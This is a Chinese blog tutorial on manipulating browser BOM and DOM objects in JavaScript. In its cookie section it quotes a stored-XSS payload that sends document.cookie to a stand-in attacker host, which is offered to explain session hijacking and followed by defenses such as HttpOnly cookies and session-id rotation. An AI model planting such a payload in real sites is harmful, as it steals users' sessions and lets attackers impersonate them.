【JavaScript：操作BOM、DOM对象】_原生javascript操作dom、bom元素-优快云博客

本文链接：https://blog.youkuaiyun.com/Editplusplusplus/article/details/124917796

文章目录

- 7. 操作BOM对象
- 8. 操作DOM对象

7. 操作BOM对象

BOM：浏览器对象模型

window

window代表浏览器窗口

window.innerHeight
754
window.outerHeight
824
window.innerWidth
378
window.outerWidth
1536

navigator

navigator，封装了浏览器的信息

navigator.appName
'Netscape'
navigator.appVersion
'5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36'

大多数时候，我们不会使用navigator对象，因为可以被人为修改

不建议使用这些属性判断及编写代码

screen

屏幕分辨率

screen.width
1920
screen.height
1080

location

location代表当前页面的URL信息

host: "www.baidu.com"
href: "https://www.baidu.com/"
protocol: "https:"
reload: ƒ reload() //刷新网页
//设置新的地址
location.assign('https://blog.youkuaiyun.com/Editplusplusplus?spm=1011.2124.3001.5343')

document

document当前的页面, HTML DOM文档树

document.title
'百度一下，你就知道'
document.title = '123'
'123'

获取具体的文档树节点

<body>
    <dl id="app">
        <dt>Java</dt>
        <dd>JavaSE</dd>
        <dd>JavaEE</dd>
    </dl>

    <script>
        var dl = document.getElementById('app');
    </script>

</body>

获取cookie

document.cookie

劫持cookie原理：参考https://www.cnblogs.com/doit8791/p/5926575.html

XXC攻击：输入javascript脚本, 窃取并投递cookie信息到自己的站点.

比如攻击者以一个普通用户登录进来，然后在输入框中提交以下数据：

<a href=# οnclick=\”document.location=\’http://attacker-site.com/xss_collect?m=\’+escape(document.cookie);\”>快看这里

http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz

有了该session-id，攻击者在会话有效期内即可获得管理员的权限，并且由于攻击数据已添加入数据库，只要攻击数据未被删除，那么攻击还有可能生效，是持久性的

基于XSS攻击, 窃取Cookie信息, 并冒充他人身份.

Cookie劫持的防:

给Cookie添加HttpOnly属性, 这种属性设置后, 只能在http请求中传递, 在脚本中,document.cookie无法获取到该Cookie值. 对XSS的攻击, 有一定的防御值. 但是对网络拦截, 还是泄露了.
**在cookie中添加校验信息, 这个校验信息和当前用户外置环境有些关系,比如ip,user agent等有关.**这样当cookie被人劫持了, 并冒用, 但是在服务器端校验的时候, 发现校验值发生了变化, 因此要求重新登录, 这样也是种很好的思路, 去规避cookie劫持.
第三种办法:cookie中session id的定时更换, 让session id按一定频率变换, 同时对用户而言, 该操作是透明的, 这样保证了服务体验的一致性.

history

history代表浏览器的历史记录

history.forward() //前进
history.back() //后退

8. 操作DOM对象

DOM：文档对象模型

核心

浏览器网页就是一个DOM树形结构

更新：更新Dom节点
遍历Dom节点：得到Dom节点
删除：删除一个Dom节点
添加：添加一个新的节点

要操作一个Dom节点，就必须要先获得这个Dom节点

获得Dom节点

var h1 = document.getElementsByTagName('h1');
var p1 = document.getElementById('p1');
var p2 = document.getElementsByClassName('p2');
var father = document.getElementById('father');

var childrens = father.children; //获取父节点下的所有子节点

father.firstChild;
father.lastChild;
father.nextElementSibling;
father.previousElementSibling;

这是原生代码，之后尽量用jQuery等

更新Dom节点

<body>

    <div id="id1">

    </div>

    <script>
        var id1 = document.getElementById('id1');
    </script>

</body>

操作文本

id1.innerText = '456' 修改文本的值
id1.innerHTML = '<strong>123</strong>'可以解析html文本标签

操作css

id1.style.color 'yellow';
id1.style.fontsize='20px';
id1.style.padding ='2em'

删除Dom节点

删除节点的步骤：先获取父节点，再通过父元素删除自己

<div id="father">
    <h1>标题一</h1>
    <p id="p1">p1</p>
    <p class="p2">p2</p>
</div>

<script>
    var self = document.getElementById('p1');
    var father = p1.parentElement;
    father.removeChild(p1);
</script>

注意：删除多个节点的时候，children是时刻变化的，按下标删除节点的时候一定要注意。

father.removeChild(father,children[0]);
father.removeChild(father,children[1]);
father.removeChild(father,children[2]);

插入节点

我们获得了某个Dom节点，假设这个Dom节点是空的，我们通过innerHTML就可以增加一个元素了；但是这个Dom节点已经存在元素了

<body>

    <p id="js">JavaScript</p>

    <div id="list">
        <p id="se">JavaSE</p>
        <p id="ee">JavaEE</p>
        <p id="me">JavaME</p>
    </div>

    <script>
        var js = document.getElementById("js");
        var list = document.getElementById("list");
        list.append(js); //追加在后面
    </script>


</body>

创建一个新的标签，实现插入

//通过js创建一个结点
var newP = document.createElement('p'); //创建一个p标签
newP.id = 'newP';
newP.innerText = 'Hello world';

list.append(newP);

setAttribute() 方法

setAttribute() 方法添加指定的属性，并为其赋指定的值。

如果这个指定的属性已存在，则仅设置/更改值。

设置 input 元素的 type 属性：

document.getElementsByTagName("INPUT")[0].setAttribute("type","button");

参数	类型	描述
attributename	String	必需。您希望添加的属性的名称。
attributevalue	String	必需。您希望添加的属性值。

insertBefore

<p id="js">JavaScript</p>

<div id="list">
    <p id="se">JavaSE</p>
<p id="ee">JavaEE</p>
<p id="me">JavaME</p>
</div>

<script>
    var ee = document.getElementById('ee');
var js = document.getElementById('js'); 
ee.insertBefore(js, ee.firstChild);
</script>